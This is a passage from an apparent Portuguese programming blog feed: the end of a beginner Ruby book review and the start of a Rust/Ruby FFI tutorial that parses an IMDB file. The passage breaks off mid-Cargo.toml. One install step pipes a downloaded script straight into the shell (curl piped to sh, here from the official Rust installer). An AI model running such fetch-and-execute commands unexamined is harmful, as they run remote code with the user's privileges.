&lt;p&gt;Isso é pouco, é muito pouco, é um enorme desserviço ao mercado de programação. Não há nada errado em copiar e colar trechos de código, até mesmo programadores realmente experientes fazem isso por conveniência muitas vezes. Mas é muito errado quando o programador faz isso sem ter consciência do que está realmente fazendo. E faça isso muitos anos, isso não o torna &amp;ldquo;experiente&amp;rdquo; em programação, meramente o torna uma máquina velha de copiar e colar.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Estou um pouco atrasado com meu review mas antes tarde do que nunca. Alguns dias atrás a <a href="http://www.casadocodigo.com.br/products/livro-aprendendo-computacao-ruby"target="_blank" rel="noopener">Casa do Código lançou um novo livro</a> para iniciantes que querem começar no mundo da programação.</p>
<p>Hoje existem muitos tutoriais na Web para aprender todo tipo de truque de programação. Para muitos, programar se tornou um processo de:</p>
<ol>
<li>pesquisar no Google, Stackoverflow ou outros fórums</li>
<li>copiar o trecho de código e colar no seu próprio código</li>
<li>lucrar</li>
</ol>
<p>Isso é pouco, é muito pouco, é um enorme desserviço ao mercado de programação. Não há nada errado em copiar e colar trechos de código, até mesmo programadores realmente experientes fazem isso por conveniência muitas vezes. Mas é muito errado quando o programador faz isso sem ter consciência do que está realmente fazendo. E faça isso muitos anos, isso não o torna &ldquo;experiente&rdquo; em programação, meramente o torna uma máquina velha de copiar e colar.</p>
<p>Programação tem fundamentos, como qualquer profissão de prática. Derramar tinta na parede não o torna um pintor impressionista, apenas um péssimo pintor de paredes. Meramente copiar e colar código não o tornar um programador, apenas um digitador. Não há valor num profissional desse tipo, pois ele é imediatamente substituível.</p>
<p>Livros e tutoriais que ensinam os famosos &ldquo;procedimentos&rdquo; de baixar, instalar, digitar hello world e dizer que isso é o fundamental servem para quem já tem base de programação, para todos os outros não agrega em nada.</p>
<p>Um livro como o que o <a href="https://twitter.com/guilhermecaelum/status/605847398997311488"target="_blank" rel="noopener">Guilherme Silveira</a> escreveu tem a audácia de fazer o que a grande maioria dos autores não tem coragem: dar um passo pra trás. Ensinar fundamentos não é nem de perto tão &ldquo;glamuroso&rdquo; como escrever um tutorial de uma nova biblioteca ou nova linguagem. Porém é o que a maioria esmagadora das pessoas que se auto-intitula &ldquo;programadores&rdquo; realmente precisa: conhecimento fundamental.</p>
<p>Esse tipo de conhecimento indepente da linguagem que está usando. Ela é universal. Mais do que isso, ela forma a linha de raciocínio sobre o qual você vai conseguir assimilar novos conhecimentos mais rápido e com mais eficácia, por isso é tão importante.</p>
<p>Livros desse tipo tendem a ser extremamente chatos por ser um conteúdo bastante teórico. A idéia do Guilherme para atingir esse objetivo sem ser chato foi escolher uma parte desse fundamento que é o mais essencial, criar exercícios que levam a pequenos jogos e com uma narrativa mais próxima aos tais tutoriais de Web que mencionei, conseguir explicar um conhecimento fundamental.</p>
<p>E como conhecimento fundamental, o que o livro do Guilherme oferece pode ser claramente entendido já pelo índice:</p>
<ul>
<li>
<p>Jogo da adivinhação, onde ele explica conceitos fundamentais como entrada e saída, funções, variáveis e atribuições. Os capitulos seguintes vão incrementar este jogo.</p>
</li>
<li>
<p>Controle de Fluxo, onde entendemos como o computador toma decisões baseado no que ele sabe, o simples &ldquo;if&rdquo; e loops.</p>
</li>
<li>
<p>Funções, algo que toda linguagem tem, uma forma de reusar pedaços de código em vez de copiar e colar sem consciência.</p>
</li>
<li>
<p>Arrays, uma das estrutura de dados mais fundamentais da computação, saber o que é uma lista, ou o caso particular de Arrays, que são Strings. Poucos programadores amadores entendem porque eles são relacionado.</p>
</li>
<li>
<p>Pontos e matemática, e novamente um dos pontos que a maioria aceita sem entender. Computadores foram feitos para lidar com números inteiros. Como ele realmente lida com números quebrados, ou com ponto flutuante?</p>
</li>
<li>
<p>Binário. Hoje em dia a programação tem tantas abstrações que esquecemos que internamente o computador consegue entender apenas 0s e 1s. Todos falam em 32bits, 64bits, mas quase ninguém sabe o que isso significa. E isso leva a diversos programas ineficientes e abstrações mal feitas.</p>
</li>
<li>
<p>Nível de dificuldade e o case. Este capítulo extende o anterior de &ldquo;Controle de Fluxo&rdquo; introduzindo mais algumas facilidades como &ldquo;case&rdquo; e &ldquo;while&rdquo;.</p>
</li>
<li>
<p>Arte Ascii, aqui o Guilherme resolve dar uma volta ao passado mostrando um pouco de como fazíamos &ldquo;interfaces&rdquo; para o usuário sem interfaces gráficas.</p>
</li>
<li>
<p>Jogo da forca. Depois do Jogo da adivinhação agora começa o Jogo da Forca onde os próximos capítulos também vão incrementar este novo jogo. Aqui você vai começar a exercitar o que realmente significa &ldquo;resolver um problema&rdquo;, como é pensar em &ldquo;algoritmos&rdquo; e não ser somente um &ldquo;copy e paster&rdquo;.</p>
</li>
<li>
<p>Responsabilidades. Ao falar de copy e pasters, aqui vamos começar a pensar em algo diferente que um programador amador raramente pensa: separação de responsabilidades, principalmente entre &ldquo;interface do usuário&rdquo; e &ldquo;lógica de negócios&rdquo;. Um amador tende a misturar as duas coisas, um profissional deve aprender a separá-las.</p>
</li>
<li>
<p>Entrada e saída de arquivo: palavras aleatórias e o top player. Neste capítulo vamos a outras maneiras de carregador dados que não seja apenas o que o usuário digitar, mas o que está em arquivos.</p>
</li>
<li>
<p>Foge Foge, um jogo baseado no Pacman. Finalmente, chegamos ao terceiro jogo. Agora o Guilherme vai subir um pouco mais a dificuldade, usar tudo que foi ensinado até agora e fazer um jogo, que é bem simples na verdade, mas é um bom desafio para quem está começando a aprender. Aqui vamos ter que cuidar do estado dos personagens do jogo dentro de um mapa. Neste capítulo ele também vai introduzir conceitos importantes como &ldquo;Refatoração&rdquo; e outros específicos de linguagens dinâmicas como Ruby, como &ldquo;duck typing&rdquo;.</p>
</li>
<li>
<p>Botando os fantasmas para correr: arrays associativos, duck typing e outros. O capítulo anterior é bem extenso pois teve que lidar com o mapa, movimentos, colisão e este capítulo é uma extensão para adicionar os fantasmas e seu comportamento dentro do mapa. Muita atenção para não se perder até aqui.</p>
</li>
<li>
<p>Matrizes e memória. Aqui temos mais um exercício avançado de pensamento em estruturas de dados, ao mapear o que seria o mapa do Foge Foge num &ldquo;array de arrays&rdquo; (ou matriz) e agora controlar o que existe em cada posição dessa matriz para guardar o estado do jogo a cada movimento. Um exercício importante que continua sendo um desafio até mesmo para alguns programadores considerados &ldquo;experientes&rdquo;.</p>
</li>
<li>
<p>Estruturas e classes: uma introdução a Orientação a Objetos. Para quem já teve aula na faculdade ou algo assim, este capítulo não vai voltar a velha teoria de explicar &ldquo;encapsulamento, herança e polimorfismo&rdquo;, coisa que é bem antiquada já. O Guilherme vai direto ao ponto, pegar o jogo do Foge Foge, que até aqui foi feito de forma procedural e imperativa e criar abstrações sobre a mesma estrutura e lógica para demonstrar algumas maneiras de se fazer essa modelagem em objetos.</p>
</li>
<li>
<p>Destruindo os fantasmas: o mundo da recursão. Outra técnica importante é recursão, uma forma de transitar por uma estrutura de dados como listas ou matrizes e processar cada elemento onde o processamento seguinte depende do anterior. É uma técnica muito poderosa e ao mesmo tempo uma das maneiras mais fáceis de atirar no próprio pé. Neste capítulo o Guilherme vai explicar como usar essa técnica de maneira segura.</p>
</li>
</ul>
<p>No fim o Guilherme adiciona instruções para instalar o Ruby e algumas dicas de como continuar estudando para evoluir além do conteúdo do livro.</p>
<p>O livro é bem simples de seguir, a idéia de usar pequenos jogos que vão aumentando de dificuldade para explicar conceitos fundamentais torna o estudo muito mais interessante e se você estudar e seguir até o final pode ter certeza que vai estar melhor equipado para se tornar um programador melhor.</p>
<p>Continue estudando!</p>
]]></content:encoded><category>aprendizado</category><category>algoritmos-e-estruturas-de-dados</category><category>ruby</category></item><item><title>[Primeiros Passos] Brincando de Rust + Ruby/FFI</title><link>https://akitaonrails.github.io/2015/06/05/primeiros-passos-brincando-de-rust-ruby-ffi/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/06/05/primeiros-passos-brincando-de-rust-ruby-ffi/</guid><pubDate>Fri, 05 Jun 2015 16:05:00 -0300</pubDate><description>&lt;p&gt;Estou nos meus primeiros dias estudando &lt;a href="http://www.rust-lang.org"target="_blank" rel="noopener"&gt;Rust&lt;/a&gt;, a nova linguagem de sistema criado pela Mozilla. Essa linguagem está no meu radar faz vários meses, principalmente pelo suporte positivo de rubistas influentes como Steve Klabnik e Yehuda Katz.&lt;/p&gt;
&lt;p&gt;Meu interesse é simples. Rust é uma linguagem pequena, mais próximo da categoria de C ou Objective-C do que GoLang, ou Elixir. Uma das coisas que sempre podemos fazer para &amp;ldquo;vitaminar&amp;rdquo; nosso querido Ruby é criar extensions em C. Mas se você já tentou fazer isso, sabe que nem é tão complicado com pequenas coisas à la &amp;ldquo;hello world&amp;rdquo;, mas a coisa pode ficar exponencialmente complicada com muitas dependências e complexidades de toolchains. Então minha intenção em aprender Rust é ver se ela pode ser uma boa alternativa para criar extensions nativas performática facilmente consumíveis via &lt;a href="https://github.com/ffi/ffi/wiki/Why-use-FFI"target="_blank" rel="noopener"&gt;FFI&lt;/a&gt; (Foreign Function Interface).&lt;/p&gt;</description><content:encoded><![CDATA[<p>Estou nos meus primeiros dias estudando <a href="http://www.rust-lang.org"target="_blank" rel="noopener">Rust</a>, a nova linguagem de sistema criado pela Mozilla. Essa linguagem está no meu radar faz vários meses, principalmente pelo suporte positivo de rubistas influentes como Steve Klabnik e Yehuda Katz.</p>
<p>Meu interesse é simples. Rust é uma linguagem pequena, mais próximo da categoria de C ou Objective-C do que GoLang, ou Elixir. Uma das coisas que sempre podemos fazer para &ldquo;vitaminar&rdquo; nosso querido Ruby é criar extensions em C. Mas se você já tentou fazer isso, sabe que nem é tão complicado com pequenas coisas à la &ldquo;hello world&rdquo;, mas a coisa pode ficar exponencialmente complicada com muitas dependências e complexidades de toolchains. Então minha intenção em aprender Rust é ver se ela pode ser uma boa alternativa para criar extensions nativas performática facilmente consumíveis via <a href="https://github.com/ffi/ffi/wiki/Why-use-FFI"target="_blank" rel="noopener">FFI</a> (Foreign Function Interface).</p>
<p>Este artigo é apenas um pequeno exercício que vai além de um simples &ldquo;hello world&rdquo;, que seria absolutamente trivial. Quero fazer uma pequena biblioteca capaz de ler um arquivo de tamanho arbitrário (portanto não pode carregar tudo em memória) e fazer um parse com regular expressions (algo que fazemos comumente).</p>
<p>Para isso estou usando como teste um arquivo de atores de filmes que baixei do <a href="http://www.imdb.com/interfaces"target="_blank" rel="noopener">FTP do IMDB</a>, em particular o arquivo &ldquo;actors.tgz&rdquo; que abre como &ldquo;actors.list&rdquo;. De cara vou dizer que é um dump bem porcaria, cujo texto sequer está em UTF-8. E para os efeitos deste artigo eu fiz uma versão menor com somente as primeira 10 mil linhas dele, que é um mísero arquivo de 515kb (comparado aos 938MB originais). Poderia ser qualquer arquivo, mas aleatoriamente escolhi esse.</p>
<p>Coloquei o projeto <a href="https://github.com/akitaonrails/rust_ruby_exercise_1"target="_blank" rel="noopener">no meu Github como exercício</a> (contribuições são bem vindas, pra melhorar o exemplo). Em Ruby, o código é simplesmente algo assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">find_actors</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">skip_lines</span><span class="p">,</span> <span class="n">target_movie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">actors</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl">  <span class="n">actor</span> <span class="o">=</span> <span class="kp">nil</span>
</span></span><span class="line"><span class="cl">  <span class="no">File</span><span class="o">.</span><span class="n">foreach</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span><span class="o">.</span><span class="n">with_index</span> <span class="k">do</span> <span class="o">|</span><span class="n">line</span><span class="p">,</span> <span class="n">line_num</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="k">next</span> <span class="k">if</span> <span class="n">line_num</span> <span class="o">&lt;</span> <span class="mi">239</span>
</span></span><span class="line"><span class="cl">    <span class="n">line</span><span class="o">.</span><span class="n">encode!</span><span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">encoding</span><span class="p">,</span> <span class="s1">&#39;binary&#39;</span><span class="p">,</span> <span class="ss">invalid</span><span class="p">:</span> <span class="ss">:replace</span><span class="p">,</span> <span class="k">undef</span><span class="p">:</span> <span class="ss">:replace</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span> <span class="o">==</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="n">actor</span> <span class="o">=</span> <span class="kp">nil</span>
</span></span><span class="line"><span class="cl">      <span class="k">next</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="n">slices</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sr">/\t/</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">actor_buffer</span> <span class="o">=</span> <span class="n">slices</span><span class="o">.</span><span class="n">first</span>
</span></span><span class="line"><span class="cl">    <span class="n">movie</span>        <span class="o">=</span> <span class="n">slices</span><span class="o">.</span><span class="n">last</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">actor</span><span class="o">.</span><span class="n">nil?</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">actor_buffer</span><span class="o">.</span><span class="n">nil?</span> <span class="o">&amp;&amp;</span> <span class="n">actor_buffer</span> <span class="o">!=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="n">actor</span> <span class="o">=</span> <span class="n">actor_buffer</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="o">!</span><span class="n">movie</span><span class="o">.</span><span class="n">nil?</span> <span class="o">&amp;&amp;</span> <span class="n">movie</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">target_movie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">actors</span> <span class="o">&lt;&lt;</span> <span class="n">actor</span> <span class="k">unless</span> <span class="n">actors</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">actor</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="n">actors</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Dá pra melhorar isso, mas é o suficiente para nossos propósitos. Rodando contra o arquivo pequeno de exemplo, o resultado vai ser:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>&gt; ruby actors.rb                                                                                                                               running pure Ruby version
145, Lyric
3, Utai
4 Real
4Shore
4Sure
4th Ba5e
4Tune
50 Cent
  0.050000   0.000000   0.050000 (  0.060104)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se você baixar meu código do repositório, primeiro garanta que você tem o Rust instalado. Pra isso basta executar o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>curl -sSf https://static.rust-lang.org/rustup.sh | sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando baixar meu código, vai ver que ele tem os arquivos Cargo.toml e Cargo.lock. Eles são semelhantes ao nosso Gemfile/Rakefile e Gemfile.lock. No Ruby controlamos nossas tarefas com Rake, as gems com Bundler (que lê as versões exatas do Gemfile.lock) e normalmente baixamos dependências que são Rubygems do Rubygems.org.</p>
<p>No caso do Rust, ele controla tanto tarefas (build, teste) e declaração de dependências via o arquivo Cargo.toml (<a href="https://github.com/toml-lang/toml"target="_blank" rel="noopener">TOML</a> sendo uma alternativa mais moderna a YAML). Em vez de Rake e Bundler temos <a href="http://doc.crates.io/guide.html"target="_blank" rel="noopener">Cargo</a>. Em vez de Rubygems temos Crates. E em vez de Rubygems.org temos <a href="https://crates.io"target="_blank" rel="noopener">Crates.io</a>.</p>
<p>Sendo uma linguagem que compila binários nativos, executamos <tt>cargo build</tt> mas se fizermos diretamente <tt>cargo test</tt> (para rodar testes incluídos no código) ou <tt>cargo run</tt> (para rodar o binário executável que fica no diretório <tt>bin/</tt>) ele vai automaticamente fazer a compilação do que precisa. No nosso caso, como estamos gerando uma biblioteca (que poderia ser um &ldquo;<em>.so&rdquo; para Linux, ou um &ldquo;</em>.dylib&rdquo; pra Mac ou &ldquo;*.dll&rdquo; para Windows), ele compila por padrão no diretório <tt>target/debug</tt> (que vai ser mais lento por ter símbolos pra debug e outros suportes). Para gerar a versão final, precisa executar <tt>cargo build &ndash;release</tt> e rodar como <tt>cargo run &ndash;release</tt> que vai gerar e linkar do binário em <tt>target/release</tt>.</p>
<p>Isso tudo dito, dê uma olhada nos arquivos Cargo.toml, src/main.rs, src/lib.rs. Os arquivos de Ruby estão misturados e são os <tt>actors.rb</tt>, <tt>imdb.rb</tt>. Pra executar a versão Ruby, lembre-se de também rodar <tt>gem install ffi</tt> primeiro (não estou usando Bundler nesse exercício).</p>
<h2>O Código Rust<span class="hx:absolute hx:-mt-20" id="o-código-rust"></span>
    <a href="#o-c%c3%b3digo-rust" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora vamos olhar o código Rust equivalente ao Ruby anterior:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">use</span> <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">prelude</span><span class="o">::*</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">use</span> <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="no">BufReader</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">use</span> <span class="n">std</span><span class="o">::</span><span class="n">fs</span><span class="o">::</span><span class="no">File</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">extern</span> <span class="n">crate</span> <span class="n">regex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">use</span> <span class="n">regex</span><span class="o">::</span><span class="no">Regex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pub</span> <span class="n">fn</span> <span class="n">find_actors</span><span class="p">(</span><span class="ss">filename</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span> <span class="ss">skip_lines</span><span class="p">:</span> <span class="n">usize</span><span class="p">,</span> <span class="ss">target_movie</span><span class="p">:</span> <span class="nb">String</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">String</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">file</span> <span class="o">=</span> <span class="no">File</span><span class="o">::</span><span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span><span class="o">.</span><span class="n">unwrap</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">mut</span> <span class="n">reader</span> <span class="o">=</span> <span class="no">BufReader</span><span class="o">::</span><span class="kp">new</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">)</span><span class="o">.</span><span class="n">lines</span><span class="p">()</span><span class="o">.</span><span class="n">skip</span><span class="p">(</span><span class="n">skip_lines</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">mut</span> <span class="n">actor</span> <span class="o">=</span> <span class="nb">String</span><span class="o">::</span><span class="kp">new</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">mut</span> <span class="n">actors</span> <span class="p">:</span> <span class="no">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;</span> <span class="o">=</span> <span class="no">Vec</span><span class="o">::</span><span class="kp">new</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">regex</span> <span class="o">=</span> <span class="no">Regex</span><span class="o">::</span><span class="kp">new</span><span class="p">(</span><span class="n">r</span><span class="s2">&#34;^(.*?)</span><span class="se">\t</span><span class="s2">+(.*?)$&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">unwrap</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="kp">loop</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">let</span> <span class="n">line</span> <span class="o">=</span> <span class="n">match</span> <span class="n">reader</span><span class="o">.</span><span class="n">next</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="no">Some</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="n">match</span> <span class="n">line</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="no">Ok</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="n">line</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="no">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span>   <span class="o">=&gt;</span> <span class="nb">String</span><span class="o">::</span><span class="kp">new</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">            <span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="no">None</span> <span class="o">=&gt;</span> <span class="k">break</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">match</span> <span class="n">regex</span><span class="o">.</span><span class="n">captures</span><span class="p">(</span><span class="o">&amp;</span><span class="n">line</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="no">Some</span><span class="p">(</span><span class="n">captures</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">let</span> <span class="n">actor_buffer</span> <span class="o">=</span> <span class="n">captures</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">unwrap</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="n">let</span> <span class="n">movie</span>        <span class="o">=</span> <span class="n">captures</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">.</span><span class="n">unwrap</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">actor</span><span class="o">.</span><span class="n">is_empty</span><span class="p">()</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">actor_buffer</span><span class="o">.</span><span class="n">is_empty</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">actor</span> <span class="o">=</span> <span class="n">actor_buffer</span><span class="o">.</span><span class="n">to_string</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="o">!</span><span class="n">movie</span><span class="o">.</span><span class="n">is_empty</span><span class="p">()</span> <span class="o">&amp;&amp;</span> <span class="n">movie</span><span class="o">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">target_movie</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">actors</span><span class="o">.</span><span class="n">contains</span><span class="p">(</span><span class="o">&amp;</span><span class="n">actor</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">actors</span><span class="o">.</span><span class="n">push</span><span class="p">(</span><span class="n">actor</span><span class="o">.</span><span class="n">to_string</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="no">None</span> <span class="o">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">actor</span> <span class="o">=</span> <span class="nb">String</span><span class="o">::</span><span class="kp">new</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">actors</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Essa função usa coisas do próprio Rust que importamos dos módulos <tt>str::io</tt> e <tt>std::fs</tt> e tem a Crate regex externa. Também exportamos esse módulo com o nome de &ldquo;imdb&rdquo; que é o declaramos no Cargo.toml:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-YAML" data-lang="YAML"><span class="line"><span class="cl"><span class="p">[</span><span class="l">package]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">name = &#34;actors&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">version = &#34;0.1.0&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">authors = [&#34;vagrant&#34;]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">[</span><span class="l">lib]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">name = &#34;imdb&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">path = &#34;src/lib.rs&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">crate-type = [&#34;rlib&#34;, &#34;dylib&#34;]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">[</span><span class="l">dependencies]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="l">regex = &#34;0.1.8&#34;</span><span class="w">
